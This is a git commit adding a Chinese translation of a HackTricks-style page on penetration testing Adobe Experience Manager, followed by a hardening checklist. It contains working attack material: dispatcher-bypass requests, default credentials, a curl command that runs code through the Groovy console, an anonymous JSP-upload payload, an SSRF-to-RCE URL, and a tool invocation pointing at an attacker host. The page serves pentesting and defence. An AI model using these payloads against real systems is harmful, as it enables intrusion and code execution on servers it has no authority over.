Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex

This commit is contained in:
Translator 2025-07-30 12:13:39 +00:00
parent b6c368af81
commit 6560d7b428

View File

@ -1,5 +1,117 @@
{{#include ../../banners/hacktricks-training.md}}
通过 [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) 查找漏洞和配置错误
# AEM (Adobe Experience Manager) Pentesting
{{#include ../../banners/hacktricks-training.md}}
> Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) 是一个企业级内容管理系统,运行在 Apache Sling/Felix (OSGi) 和 Java 内容库 (JCR) 之上。
> 从攻击者的角度来看AEM 实例经常暴露危险的开发端点、弱 Dispatcher 规则、默认凭据以及每季度修补的众多 CVE。
下面的检查清单专注于 **外部可达(无认证)攻击面**在真实的渗透测试中不断出现2022-2025
---
## 1. Fingerprinting
```
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
```
其他快速指标:
* `/etc.clientlibs/` 静态路径存在(返回 JS/CSS
* `/libs/granite/core/content/login.html` 登录页面带有“Adobe Experience Manager”横幅。
* `</script><!--/* CQ */-->` HTML 底部的注释。
---
## 2. 高价值未认证端点
路径 | 获取内容 | 备注
---- | ------------- | -----
`/.json`, `/.1.json` | 通过 **DefaultGetServlet** 获取 JCR 节点 | 通常被阻止,但 *Dispatcher bypass*(见下文)有效。
`/bin/querybuilder.json?path=/` | QueryBuilder API | 页面树、内部路径、用户名泄露。
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix 控制台 | 默认403如果暴露且找到凭据 ⇒ bundle-upload RCE。
`/crx/packmgr/index.jsp` | 包管理器 | 允许认证的内容包 → JSP 负载上传。
`/etc/groovyconsole/**` | AEM Groovy 控制台 | 如果暴露 → 任意 Groovy / Java 执行。
`/libs/cq/AuditlogSearchServlet.json` | 审计日志 | 信息泄露。
`/libs/cq/ui/content/dumplibs.html` | ClientLibs 转储 | XSS 向量。
### Dispatcher bypass 技巧
大多数生产网站位于 *Dispatcher*(反向代理)后面。其过滤规则可以通过在分号或编码换行符后附加允许的静态扩展来绕过:
```
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
```
单个请求如上常常会泄露用户个人资料节点及电子邮件地址。P-T Partners 发布了关于此弱点的良好指导。 【】
---
## 3. 常见的错误配置在2025年仍然存在
1. **匿名POST servlet** `POST /.json``:operation=import` 允许您植入新的JCR节点。 在Dispatcher中阻止 `*.json` POST可以修复此问题。 【】
2. **全世界可读的用户资料** 默认ACL在 `/home/users/**/profile/*` 上授予每个人 `jcr:read` 权限。
3. **默认凭据** `admin:admin``author:author``replication:replication`
4. **WCMDebugFilter** 启用 ⇒ 通过 `?debug=layout` 反射型XSSCVE-2016-7882仍在遗留的6.4安装中发现)。
5. **Groovy控制台暴露** 通过发送Groovy脚本进行远程代码执行
```bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
```
---
## 4. 最近的漏洞(服务包节奏)
季度 | CVE | 受影响版本 | 影响
------- | --- | -------- | ------
2024年12月 | **CVE-2024-43711** | 6.5.21及更早版本 | 不当输入验证 → **任意代码执行**(需要低权限认证)。 【】
2024年12月 | CVE-2024-43724/26 | 6.5.21及更早版本 | 移动页面向导中的DOM / 存储型XSS。 【】
2023年12月 | CVE-2023-48452/68 | ≤ 6.5.18 | 通过精心制作的URL进行基于DOM的XSS。 【】
2022年12月 | CVE-2022-30683 | ≤ 6.5.13 | 加密设计缺陷 → 秘密解密(需要低权限凭据)。 【】
始终检查与客户的服务包匹配的*APSB*公告,并请求最新的 **6.5.22***Cloud Service 2024.11*
---
## 5. 利用片段
### 5.1 通过dispatcher绕过 + JSP上传的RCE
如果允许匿名写入:
```
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
```
现在请求 `/content/evil.jsp` JSP 以 AEM 进程用户身份运行。
### 5.2 SSRF 到 RCE历史 < 6.3
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
来自 **aem-hacker**`aem_ssrf2rce.py` 自动化整个链条。 【】
---
## 6. 工具
* **aem-hacker** 瑞士军刀式枚举脚本支持调度器绕过、SSRF 检测、默认凭据检查等。
```bash
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **内容暴力破解** 递归请求 `/_jcr_content.(json|html)` 以发现隐藏组件。
* **osgi-infect** 如果凭据可用,通过 `/system/console/bundles` 上传恶意 OSGi 包。
---
## 7. 加固检查清单(用于报告的建议)
1. 保持实例在 **最新的累积服务包** 上(截至 2025 年 7 月6.5.22)。
2. 移除/轮换默认账户;强制实施 SSO/SAML。
3. 收紧 **调度器过滤器** 拒绝 `;`、编码换行符,以及匿名用户的 `*.json``*.querybuilder.json`
4. 禁用或保护控制台(`/system/console``/crx/*``/etc/groovyconsole`),使用 IP 允许列表。
5. 应用 Adobe 提供的 *匿名权限加固* 包。
## 参考
* Adobe 安全公告 APSB24-69 “Adobe Experience Manager 的安全更新2024 年 12 月)”。
* 0ang3el aem-hacker 工具GitHub
{{#include ../../banners/hacktricks-training.md}}